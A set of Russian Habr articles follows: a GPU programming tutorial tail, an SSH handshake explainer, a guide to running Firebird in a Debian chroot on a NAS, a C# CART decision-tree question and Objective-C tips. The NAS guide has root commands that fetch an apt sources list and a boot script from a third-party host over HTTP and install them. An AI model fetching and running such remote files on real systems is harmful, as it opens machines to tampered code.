```
// Создаем CmDevice
cm_result_check(::CreateCmDevice(p_cm_device, version));
// Загружаем hello_world_genx.isa
std::string isa_code = isa::loadFile("hello_world_genx.isa");
// Создаем из кода isa объект CmProgram
CmProgram *p_program = nullptr;
cm_result_check(p_cm_device->LoadProgram(const_cast(isa\_code.data()),isa\_code.size(), p\_program));
// Создаем hello\_world кернел.
CmKernel \*p\_kernel = nullptr;
cm\_result\_check(p\_cm\_device->CreateKernel(p\_program,
"hello\_world",
p\_kernel));
// Создаем схему потоков для исполнения каждого CmKernel
CmThreadSpace \*p\_thread\_space = nullptr;
cm\_result\_check(p\_cm\_device->CreateThreadSpace(thread\_width,
thread\_height,
p\_thread\_space));
// Устанавливаем аргументы кернелов.
cm\_result\_check(p\_kernel->SetKernelArg(0,
sizeof(thread\_width),
&thread\_width));
// Создаем CmTask – контейнер для указателей на кернелы
// Он требуется для постановки кернелов в очередь исполнения
// и добавляем в него кернелы.
CmTask \*p\_task = nullptr;
cm\_result\_check(p\_cm\_device->CreateTask(p\_task));
cm\_result\_check(p\_task->AddKernel(p\_kernel));
// Создаем очередь
CmQueue \*p\_queue = nullptr;
cm\_result\_check(p\_cm\_device->CreateQueue(p\_queue));
// Запускаем исполнение задачи GPU (ставим в очередь на исполнение).
CmEvent \*p\_event = nullptr;
cm\_result\_check(p\_queue->Enqueue(p\_task, p\_event, p\_thread\_space));
// Ждём завершения исполнения.
cm\_result\_check(p\_event->WaitForTaskFinished());
```
Как видите, ничего сложного в создании и использовании кернелов и хоста нет. Всё просто!
Единственная сложность, о которой стоит предупредить, чтобы вернуться в реальный мир: в настоящее время в доступной публично версии ICM единственная возможность отладки кернелов – это printf сообщения. Как ими корректно пользоваться, можно посмотреть в примере [Hello, World](https://github.com/intel/cm-compiler/tree/master/test/open_examples/hello_world).
ICM – не heavy metal!
---------------------
Теперь посмотрим, как это работает на практике. Пакет разработчика ICM [доступен для Windows и Linux](https://01.org/c-for-metal-development-package/downloads), и для обеих операционных систем содержит Компилятор ICM, документацию и обучающие примеры использования. Подробное описание этих обучающих примеров [скачивается отдельно](https://01.org/sites/default/files/downloads/c-for-metal-development-package/reference_1.zip).
Для Linux в пакет дополнительно включен Media Driver пользовательского режима для VAAPI со встроенной в него библиотекой времени исполнения ICM Runtime. Для Windows же работу с ICM выполнит обычный Intel Graphics Driver для Windows. Библиотека времени исполнения ICM Runtime включена в набор dll этого драйвера. В пакет ICM входит только линковочный .lib файл для неё. Если драйвер по какой-то причине отсутствует на вашей системе, то он загружается с сайта Intel, при этом гарантируется корректная работа ICM в драйверах, начиная с версии 15.60 — 2017 года выпуска).
Исходный код компонент можно найти здесь:
* Intel Media Driver for VAAPI and Intel C for Media Runtime: [github.com/intel/media-driver](https://github.com/intel/media-driver/)
* Intel C for Media Compiler and examples: [github.com/intel/cm-compiler](https://github.com/intel/cm-compiler/)
* Intel Graphics Compiler: [github.com/intel/intel-graphics-compiler](https://github.com/intel/intel-graphics-compiler/)
Дальнейшее содержание этого раздела относится исключительно к Windows, но общие принципы работы c ICM применимы и под Linux.
Для «штатной» работы с ICM-пакетом потребуется Visual Studio начиная с 2015 и Cmake начиная с версии 3.2. При этом, конфигурационные и скриптовые файлы учебных примеров рассчитаны на VS 2015, для использования более новых версий VS файлы придется изучать и править пути к компонентам VS самостоятельно.
Итак, знакомимся с ICM для Windows:
* [Загружаем архив](https://01.org/c-for-metal-development-package/downloads/windowscformetaldevelopementpackage20180302);
* Распаковываем его;
* Запускаем (желательно в командной строке VS) скрипт конфигурирования окружения setupenv.bat с тремя параметрами — поколением Intel GPU (соответствующим процессору, в который встроен GPU, его можно оставить по-умолчанию: gen9), платформой компиляции: x86\x64 и версией DirectX для совместного использования с ICM: dx9/dx11.
После чего можно просто построить все обучающие примеры – в папке examples это сделает скрипт *build\_all.bat* или сгенерировать проекты для Microsoft Visual Studio – это сделает скрипт *create\_vs.bat* с именем конкретного примера в качестве параметра.
Как можно видеть, ICМ-приложение будет представлять собой .exe файл с хостовой частью и .isa файл с соответствующей предкомпилированной GPU-частью.
В пакет ICM включены различные примеры – от простейшего Hello, World, показывающего основные принципы работы ICM, до достаточно сложного – реализации алгоритма поиска «максимального потока – минимального разреза» графа (max-flow min-cut problem), используемого в сегментации и сшивке изображений.
Все учебные примеры ICM хорошо документированы прямо в коде и уже упомянутом [отдельном описании](https://01.org/c-for-metal-development-package/downloads/cm-programming-reference-1). Вникать в ICM рекомендуется именно по нему – последовательно изучая и запуская примеры, а далее – модифицируя их под свои нужды.
Для общего понимания всех существующих возможностей ICM настоятельно рекомендуется изучить «спецификацию» — описание ICM *cmlangspec.html* в папке *\documents\compiler\html\cmlangspec*.
В частности, там описан API реализованных в железе функций ICM – доступ к так называемым текстурным сэмплерам (Sampler) – механизму фильтрации изображений разного формата, а также к оценке движения (Motion Estimation) между видеокадрами и некоторым возможностям видео-аналитики.
ICM – куй железо, пока горячо!
------------------------------
Говоря о производительности ICM приложений, надо обязательно отметить, что учебные примеры включают в себя измерение времени своей работы, так что, запустив их на целевой системе и сравнив со своими задачами, вы можете оценить целесообразность использования для них ICM.
А общие соображения насчет производительности ICM достаточно простые:
* При выгрузке вычислений на GPU следует помнить о накладных расходах на передачу данных CPU<-> GPU и синхронизацию этих устройств. Поэтому пример типа Hello, World — не лучший кандидат на ICM-реализацию. Зато алгоритмы компьютерного зрения, AI и любой нетривиальной обработки массивов данных, особенно с изменением порядка этих данных в процессе или на выходе – это то, что надо для ICM.
* Кроме того, при проектировании ICM–кода надо обязательно учитывать внутреннее устройство GPU, то есть, желательно создавать достаточное количество (>1000) GPU потоков и загружать их все работой. При этом, хорошей идеей будет разделять изображения для обработки на небольшие блоки. Но конкретный способ разбиения, также как и выбор конкретного алгоритма обработки для достижения максимальной производительности – задача нетривиальная. Впрочем, это относится к любому способу работы с любым GPU (и CPU).
У вас есть OpenCL-код, но его производительность вас не радует? Или CUDA-код, но вы хотите работать на гораздо большем числе платформ? Тогда стоит посмотреть на ICM.
ICM – это живой и развивающийся продукт. Вы можете поучаствовать как в его использовании, так и его развитии – соответствующие репозитории на github ждут ваших коммитов. Вся необходимая для обоих процессов информация есть в данной статье и файлах readme на github. А если чего-то нет, то появится после ваших вопросов в комментариях. | https://habr.com/ru/post/466521/ | null | ru | null |
# Рукопожатие SSH простыми словами
Secure Shell (SSH) — широко используемый протокол транспортного уровня для защиты соединений между клиентами и серверами. Это базовый протокол в нашей программе [Teleport](https://gravitational.com/teleport) для защищённого доступа к инфраструктуре. Ниже относительно краткое описание рукопожатия, которое происходит перед установлением безопасного канала между клиентом и сервером и перед началом полного шифрования трафика.
Обмен версиями
--------------
Рукопожатие начинается с того, что обе стороны посылают друг другу строку с номером версии. В этой части рукопожатия не происходит ничего чрезвычайно захватывающего, но следует отметить, что большинство относительно современных клиентов и серверов поддерживают только SSH 2.0 из-за недостатков в дизайне версии 1.0.
Обмен ключами
-------------
В процессе обмена ключами (иногда называемого KEX) стороны обмениваются общедоступной информацией и выводят секрет, совместно используемый клиентом и сервером. Этот секрет невозможно обнаружить или получить из общедоступной информации.
#### Инициализация обмена ключами
Обмен ключами начинается с того, что обе стороны посылают друг другу сообщение `SSH_MSG_KEX_INIT` со списком поддерживаемых криптографических примитивов и их предпочтительным порядком.
Криптографические примитивы должны установить строительные блоки, которые будут использоваться для обмена ключами, а затем полного шифрования данных. В таблице ниже перечислены криптографические примитивы, которые поддерживает Teleport.
| Обмен ключами (KEX) | Симметричный шифр | Код аутентификации сообщения (MAC) | Алгоритм ключа хоста сервера |
| --- | --- | --- | --- |
| curve25519-sha256@libssh.org | chacha20-poly1305@openssh.com | hmac-sha2-256-etm@openssh.com | ssh-rsa-cert-v01@openssh.com |
| ecdh-sha2-nistp256 | aes128-gcm@openssh.com | hmac-sha2-256 | ssh-rsa |
| ecdh-sha2-nistp384 | aes256-ctr | | |
| ecdh-sha2-nistp521 | aes192-ctr | | |
| | aes128-ctr | | |
*Криптографические примитивы Teleport по умолчанию*
#### Инициализация протокола Диффи — Хеллмана на эллиптических кривых
Поскольку обе стороны используют один и тот же алгоритм для выбора криптографических примитивов из списка поддерживаемых, после инициализации можно немедленно начать обмен ключами. Teleport поддерживает только протокол эллиптических кривых Диффи-Хеллмана (Elliptic Curve Diffie-Hellman, ECDH), так что обмен ключами начинается с того, что клиент генерирует эфемерную пару ключей (закрытый и связанный с ним открытый ключ) и отправляет серверу свой открытый ключ в сообщении `SSH_MSG_KEX_ECDH_INIT`.
Стоит подчеркнуть, что эта ключевая пара эфемерна: она используется только для обмена ключами, а затем будет удалена. Это чрезвычайно затрудняет проведение класса атак, где злоумышленник пассивно записывает зашифрованный трафик с надеждой украсть закрытый ключ когда-нибудь в будущем (как предусматривает закон Яровой — прим. пер.). Очень трудно украсть то, чего больше не существует. Это свойство называется прямой секретностью (forward secrecy).
*Рис. 1. Генерация сообщения инициализации обмена ключами*
#### Ответ по протоколу Диффи — Хеллмана на эллиптических кривых
Сервер ждёт сообщение `SSH_MSG_KEX_ECDH_INIT`, а при получении генерирует собственную эфемерную пару ключей. С помощью открытого ключа клиента и собственной пары ключей сервер может сгенерировать общий секрет K.
Затем сервер генерирует нечто, называемое хэшем обмена H, и подписывает его, генерируя подписанный хэш HS (подробнее на рис. 3). Хэш обмена и его подпись служат нескольким целям:
* Поскольку хэш обмена включает общий секрет, он доказывает, что другая сторона смогла создать общий секрет.
* Цикл подписи/проверки хэша и подписи обмена позволяет клиенту проверить, что сервер владеет закрытым ключом хоста, и поэтому клиент подключен к правильному серверу (если клиент может доверять соответствующему открытому ключу, подробнее об этом позже).
* За счёт подписи хэша вместо подписи входных данных, размер подписываемых данных существенно уменьшается и приводит к более быстрому рукопожатию.
Хэш обмена генерируется путём взятия хэша (SHA256, SHA384 или SHA512, в зависимости от алгоритма обмена ключами) следующих полей:
* [Мэджики](https://github.com/golang/crypto/blob/a49355c7e3f8fe157a85be2f77e6e269a0f89602/ssh/kex.go#L53-L58) `M`. Версия клиента, версия сервера, сообщение клиента `SSH_MSG_KEXINIT`, сообщение сервера `SSH_MSG_KEXINIT`.
* Открытый ключ (или сертификат) хоста сервера `HPub`. Это значение (и соответствующий ему закрытый ключ HPriv) обычно генерируется во время инициализации процесса, а не для каждого рукопожатия.
* Клиентский открытый ключ `А`
* Серверный открытый ключ `B`
* Общий секрет `K`
С этой информацией сервер может сконструировать сообщение `SSH_MSG_KEX_ECDH_REPLY`, применив эфемерный открытый ключа сервера `B`, открытый ключ хоста сервера `HPub` и подпись на хэше обмена `HS`. См. рис. 4 для более подробной информации.
[](https://habrastorage.org/webt/v1/df/pr/v1dfprnrhjw01tlsqn4u148cgqc.png)
*Рис. 2. Генерация хэша обмена H*
Как только клиент получил от сервера `SSH_MSG_KEX_ECDH_REPLY`, у него есть всё необходимое для вычисления секрета `K` и хэша обмена `H`.
В последней части обмена ключами клиент извлекает открытый ключ хоста (или сертификат) из `SSH_MSG_KEX_ECDH_REPLY` и проверяет подпись хэша обмена `HS`, подтверждающую право собственности на закрытый ключ хоста. Чтобы предотвратить атаки типа «человек в середине» (MitM), после проверки подписи открытый ключ хоста (или сертификат) проверяется по локальной базе известных хостов; если этот ключ (или сертификат) не является доверенным, соединение разрывается.
>
> ```
> The authenticity of host 10.10.10.10 (10.10.10.10)' can't be established.
> ECDSA key fingerprint is SHA256:pnPn3SxExHtVGNdzbV0cRzUrtNhqZv+Pwdq/qGQPZO3.
> Are you sure you want to continue connecting (yes/no)?
> ```
>
*SSH-клиент предлагает добавить ключ хоста в локальную базу известных хостов. Для OpenSSH это обычно `~/.ssh/known_hosts`*
Такое сообщение означает, что представленного ключа нет в вашей локальной базе данных известных хостов. Хороший способ избежать таких сообщений — использовать вместо ключей сертификаты SSH (что Teleport делает по умолчанию), которые позволяют вам просто хранить сертификат удостоверяющего центра в локальной базе известных хостов, а затем проверять все хосты, подписанные этим УЦ.
[](https://habrastorage.org/webt/xh/jg/zo/xhjgzo174zrxjc-grwuerapldsc.png)
*Рис. 3. Генерация ответа при обмене ключами ECDH*
Новые ключи
-----------
Перед тем, как начать массовое шифрование данных, остался последний нюанс. Обе стороны должны создать шесть ключей: два для шифрования, два вектора инициализации (IV) и два для целостности. Вы можете спросить, зачем так много дополнительных ключей? Разве не достаточно общего секрета K? Нет, не достаточно.
Во-первых, почему нужны отдельные ключи для шифрования, целостности и IV. Одна из причин связана с историческим развитием протоколов, таких как TLS и SSH, а именно с согласованием криптографических примитивов. В некоторых выбранных криптографических примитивах повторное использование ключа не представляет проблемы. Но, как верно [объясняет Хенрик Хеллстрём](https://crypto.stackexchange.com/questions/8081/using-the-same-secret-key-for-encryption-and-authentication-in-a-encrypt-then-ma), при неправильном выборе примитивов (например, AES-256-CBC для шифрования и и AES-256-CBC-MAC для аутентификации) последствия могут быть катастрофическими. Следует отметить, что разработчики протоколов постепенно отказываются от такой гибкости, чтобы сделать протоколы более простыми и безопасными.
Далее, зачем используются ключи каждого типа.
Ключи шифрования обеспечивают конфиденциальность данных и применяются с симметричным шифром для шифрования и дешифрования сообщения.
Ключи целостности обычно используются с кодом проверки подлинности сообщения (MAC), чтобы гарантировать аутентичность шифротекста. В отсутствие проверки целостности злоумышленник может изменить шифротекст, который передаётся по открытым каналам, и вы расшифруете поддельное сообщение. Такая схема обычно называется [Encrypt-then-MAC](https://crypto.stackexchange.com/questions/202/should-we-mac-then-encrypt-or-encrypt-then-mac).
Следует отметить, что современные [шифры AEAD](https://en.wikipedia.org/wiki/Authenticated_encryption) (аутентифицированное шифрование с присоединёнными данными, когда часть сообщения шифруется, часть остаётся открытой, и всё сообщение целиком аутентифицировано) вроде `aes128-gcm@openssh.com` и `chacha20-poly1305@openssh.com` фактически не используют производный ключ целостности для MAC, а выполняют аутентификацию внутри своей конструкции.
Векторы инициализации (IV) обычно представляют собой случайные числа, используемые в качестве входных данных для симметричного шифра. Их цель состоит в том, чтобы гарантировать, что одно и то же сообщение, зашифрованное дважды, не приведёт к одному и тому же шифротексту. Необходимость такой процедуры отлично демонстрирует [знаменитое изображение](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Electronic_Codebook_(ECB)) с пингвином Туксом, зашифрованное в режиме электронной кодовой книги (ECB).
*Слева направо. (1) Открытый текст в виде изображения. (2) Криптограмма, полученная шифрованием в режиме ECB. (3) Криптограмма, полученная шифрованием в режиме, отличном от ECB. Изображение представляет собой псевдослучайную последовательность пикселей*
Использование (и взлом) векторов IV — интересная тема сама по себе, о которой [написал Филиппо Вальсорда](https://blog.cloudflare.com/tls-nonce-nse/).
Наконец, почему ключи идут в парах? Как отметил [Томас Порнин](https://crypto.stackexchange.com/questions/1139/what-is-the-purpose-of-four-different-secrets-shared-by-client-and-server-in-ssl), если используется только один ключ целостности, злоумышленник может воспроизвести клиенту отправленную ему запись, и он будет считать её действительной. Со спаренными ключами целостности (у сервера и клиента), клиент выполнит проверку целостности шифротекста и такой трюк не сработает.
Теперь с пониманием того, зачем нужны эти ключи, давайте посмотрим, как они генерируются, [согласно RFC](https://tools.ietf.org/html/rfc4253#section-7.2):
> * Начальный вектор IV от клиента к серверу: `HASH(K || H || «A» || session_id)`
> * Начальный вектор IV от сервера к клиенту: `HASH(K || H || «B» || session_id)`
> * Ключ шифрования от клиента к серверу: `HASH(K || H || «C» || session_id)`
> * Ключ шифрования от сервера к клиенту: `HASH(K || H || «D» || session_id)`
> * Ключ контроля целостности от клиента к серверу: `HASH(K || H || «E» || session_id)`
> * Ключ контроля целостности от сервера к клиенту: `HASH(K || H || «F» || session_id)`
>
Здесь используется алгоритм хэширования SHA{256, 384 или 512} в зависимости от алгоритма обмена ключами, а символ || подразумевает конкатенацию, то есть сцепление.
Как только вычислены эти значения, обе стороны посылают `SSH_MSG_NEWKEYS`, чтобы сообщить другой стороне, что обмен ключами завершён, а все будущие коммуникации должны происходить с использованием новых ключей, созданных выше.
[](https://habrastorage.org/webt/lx/gn/71/lxgn71y33ihsymnavtekvnhw2l4.png)
*Рис. 4:. Генерация начального вектора IV. Генерация для других ключей происходит по той же схеме, если заменить A и B на C, D, E и F, соответственно*
Заключение
----------
На этом этапе обе стороны согласовали криптографические примитивы, обменялись секретами и сгенерировали материал ключей для выбранных примитивов. Теперь между клиентом и сервером может быть установлен безопасный канал, который обеспечит конфиденциальность и целостность.
Вот как рукопожатие SSH устанавливает безопасное соединение между клиентами и серверами. | https://habr.com/ru/post/474654/ | null | ru | null |
# Установка Firebird на D-Link DNS-325
У меня возникла «бюджетная» идея использовать в качестве резервной СУБД (как временное решение на случай отказа) уже имеющийся в наличии NAS D-Link DNS-325. Организация небольшая + безотрывное производство + отсутствие дежурного специалиста, но это только для вступления.
Решая данный вопрос, я потратил немало времени на поиск необходимой информации, что подтолкнуло меня написать данную публикацию.
Так как на борту у данного устройства ОС Linux, задача выглядела вполне решаемой. С коробки устройство управляется через веб-интерфейс и имеет довольно ограниченные возможности, список приложений доступных для установки [не впечатляет](http://ftp.dlink.ru/pub/NAS/DNS-325/Add-on/2.01/).
### 1. Задался вопросом подключения по telnet или SSH и дальнейшей возможности установки ПО
В этом мне помогла публикация с любимого Хабра — "[Тачку на прокачку — настраиваем и расширяем возможности D-Link DNS-325](https://habrahabr.ru/post/155557/)". По инструкции в ней удалось настроить доступ по SSH, а также настроить дополнительные репозитории (Optware) для установки ПО. К сожалению, в репозиториях Optware firebird найти не удалось.
### 2. Попытки установки Firebird
Т.к. на устройстве используется ARM процессор с архитекутой ARMV5TEL, на тот момент поддержка архитектуры для Firebird 2.5 отсутствовала. Я все-таки решил попробовать установку прямо на устройстве из исходников отсюда: [Firebird 2.5](http://sourceforge.net/projects/firebird/files/firebird/2.5.5-Release/Firebird-2.5.5.26952-0.tar.bz2/download). Рекомендованный Autogen.sh отказался устанавливать с сообщением о неизвестной ему архитектуре. В рукопашную удалось пройти только этап конфигурирования «configure», после чего «make» вываливал ошибки, по описанию которых (+ поиск) было понятно, что без правки исходников не обойтись.
Оставалось 2 решения: кросскомпиляция под необходимую архитектуру или использования уже существующих скомпилированных пакетов для указанной архитектуры, которые были найдены в репозиториях debian. Я поискал информацию по обоим решениям, и на мой взгляд более простым выглядела установка debian с использованием инструмента [debootstrap](https://wiki.debian.org/ru/Debootstrap). Еще одним плюсом данного решения является возможность доступа к репозиторию debian, в котором намного больше ПО, чем у Optware.
### 3. Установка debian wheezy с использованием инструмента [debootstrap](https://wiki.debian.org/ru/Debootstrap)
Т.к. сам debootstrap также отсутствует в репозиториях Optware, подготовку образа системы debian буду производить на ubuntu, установленной на виртуалке.
Устанавливаем debootstrap (при недостаточных привилегиях не забываем про sudo):
```
apt-get install debootstrap -y
apt-get clean
```
Создаем образ и запаковываем в архив:
```
debootstrap --foreign --arch armel wheeze debian "http://ftp.ru.debian.org/debian"
tar -czf debian.tar.gz debian
```
Далее полученный архив debian.tar.gz необходимо скопировать на NAS любым способом, как вариант через расшаренные папки. Далее подключаемся к NAS по SSH, например, с помощью [PUTTY](http://www.putty.org/) и выполняем следующее.
Распаковываем архив, монтируем фалы устройств из текущей системы NAS, разворачиваем систему:
```
tar -xf debian.tar.gz
mount -o bind /dev ./debian/dev
mount -o bind /proc ./debian/proc
grep -v rootfs /proc/mounts > ./debian/etc/mtab
chroot ./debian/ /bin/bash
/debootstrap/debootstrap --second-stage
exit
```
Копируем сетевые настройки из текущей системы NAS:
```
cp /etc/hosts ./debian/etc/hosts
cp /etc/resolv.conf ./debian/etc/resolv.conf
hostname > ./debian/etc/hostname
```
Теперь у вас есть настоящая система Debian на диске, выполним chroot в неё:
```
mount -o bind /dev ./public/debian/dev
mount -o bind /proc ./debian/proc
grep -v rootfs /proc/mounts > ./debian/etc/mtab
chroot ./debian/ /bin/bash
```
Обновим репозиторий и установленное ПО:
```
wget http://files.satware.com/synology/chroot/sources.list -O /etc/apt/sources.list
apt-get update -y
apt-get upgrade -y
apt-get dist-upgrade -y
```
### 4. Устанавливаем Firebird:
```
apt-get install Firebird2.5-superclassic -y
dpkg-reconfigure firebird2.5-superclassic
```
Настраиваем:
Enable Firebird server? => Yes
Password for SYSDBA? => ваш\_пароль
Выходим из debian в основную систему:
```
exit
```
Остается создать скрипт для запуска/остановки Firebird сервера. Скачиваем скрипт:
```
wget http://files.satware.com/synology/ipkg/S80firebird.sh
```
Исправляем пути к папке debian, у меня "/mnt/HD/HD\_a2/home/debian", текущий каталог можно посмотреть командой pwd:
```
vi S80firebird.sh
```
Копируем файл в папку автозапуска скриптов, задаем права на запуск:
```
mkdir -p /opt/etc/init.d
mv S80firebird.sh /opt/etc/init.d/
chmod +x /opt/etc/init.d/S80firebird.sh
```
Для запуска/остановки сервера Firebird, соответственно:
```
/opt/etc/init.d/S80firebird.sh start
/opt/etc/init.d/S80firebird.sh stop
```
Все готово! После перезагрузки на нашем NAS будет запущен Firebird сервер на порту по умолчанию — 3050, можно подключаться.
### Ссылки по теме
[Тачку на прокачку — настраиваем и расширяем возможности D-Link DNS-325](https://habrahabr.ru/post/155557/)
[Firebird SQL auf Synology Diskstation installieren](http://satware.com/blog/firebird_sql_auf_synology_diskstation_installieren_08_2012-60.article.html)
[Установка Debian GNU/Linux из системы Unix/Linux](https://www.debian.org/releases/stable/mips/apds03.html.ru) | https://habr.com/ru/post/304008/ | null | ru | null |
# Организация хранения промежуточных таблиц для алгоритма CART
Доброго времени суток всем читающим. Сначала изложу предысторию данного вопроса. Началось все с того что знакомый попросил меня по работе помочь ему сделать приложение (WinForm на C#), которая бы алгоритмом CART создавала бинарное дерево решений, исходя из статистических данных находящихся в таблице на форме. Суть в том, чтобы делить исходную таблицу на 2 части по вычисляемым критериям. Для того чтобы поделить исходную таблицу, мы должны найти среднее по каждому из столбцов:
```
//нахождение средних значений по столбцам
public static double[] GetAverageValue(DataTable table)
{
#region Расчет средних значений по столбцам
var sr = new double[14];
for (int j = 1; j < table.Columns.Count - 1; j++)
{
double sum = 0.0;
for (int i = 0; i < table.Rows.Count; i++)
{
sum = sum + Convert.ToDouble(table.Rows[i][j]);
}
sr[j - 1] = sum / table.Rows.Count;
}
#endregion
return sr;
}
```
Первый и последний столбцы в расчете не учитываются (в первом значение Год, в последнем значения 0 или 1). Данная функция вернет одномерный массив средних значений, обращение к которым будет идти согласно индексу.
Затем идет собственно поиск коэффициента Gini по каждому из столбцов, который покажет нам какой из столбцов брать для разделения нашей таблицы, среди них выбирается минимальное и соответственно индекс столбца с минимальным коэффициентом будет необходимым нам для разделения. Затем выбирается этот столбец и все значения больше среднего значения для данного столбца отправляются в одну таблицу, например 1.1, а все значения меньше среднего в таблицу 1.2. Ниже код. который отвечает за первое разделение исходной таблицы:
```
//нахождение значений больше либо равных среднему в столбце таблицы
public static int[] GetMoreAverageAndLessAverage(double average, double[] columns, int[] T)
{
int moreAverage = 0;
int valueTMoreAverage = 0;
int valueTInvertMoreAverage = 0;
int lessAverage = 0;
int valueTLessAverage = 0;
int valueTLessInvertAverage = 0;
var moreAverageValue = new int[6];
for (int i = 0; i < columns.Length; i++ )
{
if (columns[i] >= average)
{
moreAverage = moreAverage + 1;
if (T[i] == 1)
{
valueTMoreAverage = valueTMoreAverage + 1;
}
else
{
valueTInvertMoreAverage = valueTInvertMoreAverage + 1;
}
}
else
{
lessAverage = lessAverage + 1;
if (T[i] == 1)
{
valueTLessAverage = valueTLessAverage + 1;
}
else
{
valueTLessInvertAverage = valueTLessInvertAverage + 1;
}
}
}
moreAverageValue[0] = moreAverage;
moreAverageValue[1] = valueTMoreAverage;
moreAverageValue[2] = valueTInvertMoreAverage;
moreAverageValue[3] = lessAverage;
moreAverageValue[4] = valueTLessAverage;
moreAverageValue[5] = valueTLessInvertAverage;
return moreAverageValue;
}
//нахождение значения коэффициента Gini(T,param)
public static double GetValueGini(int[] currentCollumnsAndT, int lengthCollumns)
{
var gini = 0.0;
if (currentCollumnsAndT != null)
{
double gini1 = (Convert.ToDouble(currentCollumnsAndT.GetValue(0)) / lengthCollumns) *
(1 -
((Convert.ToDouble(currentCollumnsAndT.GetValue(1)) / Convert.ToDouble(currentCollumnsAndT.GetValue(0))) *
(Convert.ToDouble(currentCollumnsAndT.GetValue(1)) / Convert.ToDouble(currentCollumnsAndT.GetValue(0)))) -
((Convert.ToDouble(currentCollumnsAndT.GetValue(2)) / Convert.ToDouble(currentCollumnsAndT.GetValue(0))) *
(Convert.ToDouble(currentCollumnsAndT.GetValue(2)) / Convert.ToDouble(currentCollumnsAndT.GetValue(0)))));
double gini2 = (Convert.ToDouble(currentCollumnsAndT.GetValue(3)) / lengthCollumns) *
(1 -
((Convert.ToDouble(currentCollumnsAndT.GetValue(4)) / Convert.ToDouble(currentCollumnsAndT.GetValue(3))) *
(Convert.ToDouble(currentCollumnsAndT.GetValue(4)) / Convert.ToDouble(currentCollumnsAndT.GetValue(3)))) -
((Convert.ToDouble(currentCollumnsAndT.GetValue(5)) / Convert.ToDouble(currentCollumnsAndT.GetValue(3))) *
(Convert.ToDouble(currentCollumnsAndT.GetValue(5)) / Convert.ToDouble(currentCollumnsAndT.GetValue(3)))));
gini = gini1 + gini2;
}
return gini;
}
//расчет первичного разделения таблицы
public static double[] GetValueGiniIsPrimaryDivide(DataTable table)
{
var currentCollumn = new double[table.Rows.Count];
var average = GetAverageValue(table); //выкинуть в класс формы чтобы не изменялось, передавать параметром в GetValueGiniIsPrimaryDivide (возможно передавать)
var T = new int[table.Rows.Count];
var gini = new double[table.Columns.Count - 1];
for (int i = 0; i < table.Rows.Count; i++)
{
T[i] = Convert.ToInt16(table.Rows[i][table.Columns.Count - 1]);
}
for (int i = 1; i < table.Columns.Count - 1; i++)
{
for (int j = 0; j < table.Rows.Count; j++)
{
currentCollumn[j] = 0.0;
currentCollumn[j] = Convert.ToDouble(table.Rows[j][i].ToString());
}
var bufer = average[i - 1];
gini[i] = GetValueGini(GetMoreAverageAndLessAverage(bufer, currentCollumn, T), table.Rows.Count);
}
var min = Convert.ToDouble(gini.GetValue(0));
int indexMin = 0;
for (int i = 0; i < gini.Length; i++)
{
if (Convert.ToDouble(gini.GetValue(i)) <= min)
{
min = Convert.ToDouble(gini.GetValue(i));
indexMin = i;
}
}
var returnValue = new double[2];
returnValue[0] = min;
returnValue[1] = indexMin;
return returnValue;
}
}
```
Сама таблица, напомню, получается из DataGridView. И вызывается все вышеизложенное таким образом:
```
#region Создание из DataGrid DataTable
var table = new DataTable();
for (int j = 0; j < dataGridView1.Columns.Count; j++)
{
table.Columns.Add(dataGridView1.Columns[j].Name);
}
for (int i = 0; i < dataGridView1.Rows.Count - 1; i++)
{
table.Rows.Add();
for (int j = 0; j < dataGridView1.Columns.Count; j++)
{
table.Rows[i][j] = dataGridView1[j, i].Value.ToString();
}
}
#endregion
var giniIsMin = SeparationTable.GetValueGiniIsPrimaryDivide(table);
```
Затем каждая промежуточная таблица проходит все те же этапы. Сигналом к завершению деления таблицы служит то, что в последнем столбце (Т) все значения будут либо все равны 1 либо все равны 0. На каждом следующем этапе не участвует в вычислениях один столбец, для которого на предыдущем шаге коэффициент Gini был минимальным. Таким образом строится бинарное дерево решений. Так вот, а теперь собственно сам вопрос: каким образом можно организовать хранение промежуточных таблиц, так чтобы все их обсчитать и что немаловажно не потерять. Предлагали вариант хранить их в трехмерном массиве, укладывая все промежуточные таблицы на позиции 1, 11, 12, 111, 112 и так далее, но такой вариант мы отвергли ввиду его «прожорливости» к памяти. Если кто понял хоть что либо подскажите как такое организовать. | https://habr.com/ru/post/177797/ | null | ru | null |
# Минимализм Objective-C
Я часто пишу небольшие тестовые проекты на Objective-C, чтобы поэкспериментировать или поиграться с чем-нибудь. Обычно, я помещаю код в main.m и избавляюсь от всего остального:
```
#!/usr/bin/env objc-run
@import Foundation;
@implementation Hello : NSObject
- (void) sayHelloTo:name
{
printf("Hello %s, my address is %p\n", [name UTF8String], self);
}
@end
int main ()
{
id hello = [Hello new];
[hello sayHelloTo:@"sunshine"];
}
```
Это полноценный проект из одного файла, готовый к выполнению. Под катом — описание приемов, позволивших прийти к данному минимализму.
* **Все пишется в main.m.** Или “Test.m”, или что угодно. Функция main() может находиться в любом файле.
* **Используем objc-run.** Если вы еще не сталкивались с ней, [objc-run](https://github.com/iljaiwas/objc-run) — прекрасная утилита, которая “позволяет легко использовать файлы Objective-C в качестве консольных скрипто-подобных задач”. Установите ее: `brew install objc-run` и добавьте права на выполнение вашему исходному файлу: `chmod u+x main.m`
* **Модули вместо предкомпиленных заголовков.** Возможно, есть смысл в #imports и PCH в больших проектах, но для маленьких тестовых программ? Нет уж.
* **Никаких объявлений `@interface`** Я случайно узнал, что ObjC позволяет указывать суперкласс прямо в директиве `@implementation`. Не совсем понятно, с какой целью это допущено, но это позволяет полностью избавиться от блока `@interface`.
* **Неявные типы параметров функций.** Возвращаемые типы и параметры методов ObjC неявно равны (id), что значит
`-(id)doSomethingWith:(id)param`; это абсолютно то же самое, что и `-doSomethingWith:param`; но второй вариант выглядит удобнее.
* **Никаких аргументов в main().** Хотя это считается плохой практикой, вполне допустимо писать `void main ()` вместо `int main (int argc, char**argv)`. Зачем это все объявлять, если вы все равно не пользуетесь этими аргументами?
* **Избавляемся от `return` в `main()`.** Начиная со стандарта C99, при возвращении управления от `main()` без оператора возврата — считается, что было вызвано `return 0;`
* **printf вместо NSLog.** NSLog — для сообщений об ошибках, а не для вывода текста — мне не нужно выводить путь к выполняемому файлу и ID потока на каждой строчке.
***Примечание переводчика:*** при отсутствии `@interface` меня раздражает вывод warning:
```
/dev/fd/63:3:17: warning: cannot find interface declaration for 'Hello'
@implementation Hello : NSObject
^
1 warning generated.
```
Это `warn_undef_interface`, для которого нет соответствующего флага -W (для заглушения предупреждений по типам). Так что для себя я оставил пустой интерфейс.
```
